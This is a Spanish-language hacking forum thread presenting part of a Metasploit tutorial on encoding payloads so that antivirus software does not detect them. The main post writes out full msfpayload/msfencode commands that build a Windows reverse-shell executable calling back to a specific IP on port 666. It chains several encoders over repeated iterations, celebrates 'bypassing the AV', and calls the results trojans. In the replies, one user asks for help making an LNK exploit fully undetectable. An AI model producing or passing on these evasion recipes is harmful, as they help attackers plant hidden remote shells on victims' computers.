+Temario
-+Encoder de msf
-+Tipos de codificadores
-+Codificando nuestro payload
-+Anlizando codificacion
-+Aun me detecta el av mi payload binario
-+Encodeando un payload
-+Conclusion
  • Bueno ya vimos como hacer nuetrso payloads
    binario jejjlos famosos "Troyanos al style msf"
    pero ahora veamo esto un poco mas real y para que los
    maldiso av no nos detecten nuestro payload lo que vamos
    a hacer es usar el encoder que nos ofrece msf para encodear.
+Encoder de msf
  • Bueno nostros contams con un encoder de msf
    que nos facilota muchp esta tarea y bueno veamos como
    funciona este nos situamos en la carpta donde tenemos nuestro
    msf y na vez estando hay en la shell tecleamos...

Código: Seleccionar todo

shiva-sheva@cracker:~/metasploit$ sudo ./msfencode -h
[sudo] password for shiva-sheva: 

    Usage: ./msfencode <options>

OPTIONS:

    -a <opt>  The architecture to encode as
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -c <opt>  The number of times to encode the data
    -e <opt>  The encoder to use
    -h        Help banner
    -i <opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m <opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o <opt>  The output file
    -p <opt>  The platform to encode for
    -s <opt>  The maximum size of the encoded data
    -t <opt>  The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
    -x <opt>  Specify an alternate win32 executable template

shiva-sheva@cracker:~/metasploit$ 
  • Como sabes el -h nos ayuda a ver las opciones de los modulos etc...

+Tipos de codificadores

  • Bueno msf nos brinda una variedad de codifcadores disponible
    para utilizar y bueno con la variante -l podemos verlos veamos

Código: Seleccionar todo

shiva-sheva@cracker:~/metasploit$ sudo ./msfencode -l

Framework Encoders
==================

    Name                    Rank       Description
    ----                    ----       -----------
    cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
    cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
    cmd/printf_util         good       Generic printf(1) Utility Command Encoder
    generic/none            normal     The "none" Encoder
    mipsbe/longxor          normal     XOR Encoder
    mipsle/longxor          normal     XOR Encoder
    php/base64              great      PHP Base64 encoder
    ppc/longxor             normal     PPC LongXOR Encoder
    ppc/longxor_tag         normal     PPC LongXOR Encoder
    sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
    x64/xor                 normal     XOR Encoder
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
    x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
    x86/context_cpuid       manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat        manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time        manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown           normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha            low        Non-Alpha Encoder
    x86/nonupper            low        Non-Upper Encoder
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit   manual     Single Static Bit
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

shiva-sheva@cracker:~/metasploit$ 
  • Esta es la lista que nos despliega jejej y bueno para mi la mejor shikata_ga_nai
+Codificando nuestro payload
  • Bueno ahora ya tenemos el que usaremos ahora lanzamos esto veamos como

Código: Seleccionar todo

shiva-sheva@cracker:~/metasploit$ sudo ./msfpayload windows/shell_reverse_tcp LHOST=189.137.177.93 LPORT=666 R | ./msfencode -e x86/shikata_ga_nai -t exe > /home/shiva-sheva/prueba1.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

+Anlizando codificacion

  • Veamos
    sudo ./msfpayload: Llamamos a msfpayload
    windows/shell_reverse_tcp: Indicams muestro payload
    LHOST=189.137.177.93: Nuestar ip publica o local
    LPORT=666: Puerto que usaremos
    R | ./msfencode: Llamamos a msfencode sin alir de msfpayload
    -e x86/shikata_ga_nai: Indicamos nuestro encoder
    -t exe > /home/shiva-sheva/prueba1.exe: Indicamos que lo genere en .exe y la ruta del archivo

+Aun me detecta el av mi payload binario

  • Bueno pues podremos un poc mas loco este asunto ahora
    usaremos dos encoders y con mas vueltas para que nos encode mas
    duro y no lo detectate jajajaj
    usaremos el encoder shikata_ga_nai y call4_dword_xor
    cada uno se ejecutara 10 veces veamos

Código: Seleccionar todo

shiva-sheva@cracker:~/metasploit$ sudo ./msfpayload windows/shell_reverse_tcp LHOST=189.137.177.93 LPORT=666 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/fnstenv_mov -t exe > /home/shiva-sheva/prueba2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)

[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)

[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)

[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)

[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)

[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)

[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)

[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)

[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)

[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)

[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)

[*] x86/fnstenv_mov succeeded with size 856 (iteration=1)
  • Y vemos y ahora no nos detecta nada bypasseamos el av jejeje
    Y supogamos que no lo sige detectando pues bueno podemos hacer
    cada quien sus pruebas para ver como no lo detecta y pueden ejecutar
    el encoder las veces que quieran o tiene su presio y sera el peso!
+Encodeando un payload
  • Bueno haremos los mismos solo que con windows/shell/reverse_tcp
    y es mucho menos la taza de probabilidades que nos detecten esto jejejeje

Código: Seleccionar todo

shiva-sheva@cracker:~/metasploit$ sudo ./msfpayload windows/shell/reverse_tcp LHOST=189.137.177.93 LPORT=666 X > /home/shiva-sheva/prueba3.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=189.137.177.93,LPORT=666

shiva-sheva@cracker:~/metasploit$
  • Y bueno esto ya no hace falta analizarlo es lo mismo que emos estado haciendo
    en las ultimas partes de este taller!

    Bueno ahora solo lanzan su handler ya vimos como y reciben su conexion y listo!
    Sencillamente brillante!
+Conclusion:
  • Bueno ya emos abasado bastante en esto y ahora
    vimos un metedo muy efectivo para bypassear los
    avs jajajaj adios al modding?? jajaj saludos
    esperen la parte IX ¡Enjoy!
¡En el pen-testing el eslabon mas debil es el usuario!
Gracias, el moddin sigue siendo util, la suma no divide
La felicidad es una cualidad evasiva. Si la buscas, no la encuentras.
Imagen
y si los metodos de encoder esos estan badados en las encriptaciones de ejecutables que usan los cripters por ejemplo. mas que adios al modding es bienvenido al mundo de la programacion

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Hola si mira un exploit como el nombre lo dice explota una vulerabilidad y un payload es la accion a realizar despues de ejectar el exploit generalmente va configurdo de igual forma depende mucho que payload uses si claro que se puede usar el encoder para los dos el uso que les de ya es cosa tuya!Saludos!
¡En el pen-testing el eslabon mas debil es el usuario!
Aver te explico porque hay varias cosas que no me entero bien. Yo lo que quiero es dejar fud el exploit del LNK utilizando el reverse_tcp por ejemplo.
Tu lo que haces es generar directamente un payload con reverse tcp FUD, es decir que creas un "server FUD" y luego con el handler te pones a la escucha en el puerto seleccionado.
Yo lo que quiero es que el lnk que me da resultado de aplicar el payload reverse_tcp me quede FUD..
No se si me explico.
De todos modos te he mandado un privado.
Muchas gracias!!!!
encodea binarios, como un cripter. es un cripter manejado por consola.
bah es una forma directa de usar todos los encoders del msf asi que se puede codificar mas que solo binarios, pero no esperen magia.

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
Responder

Volver a “General”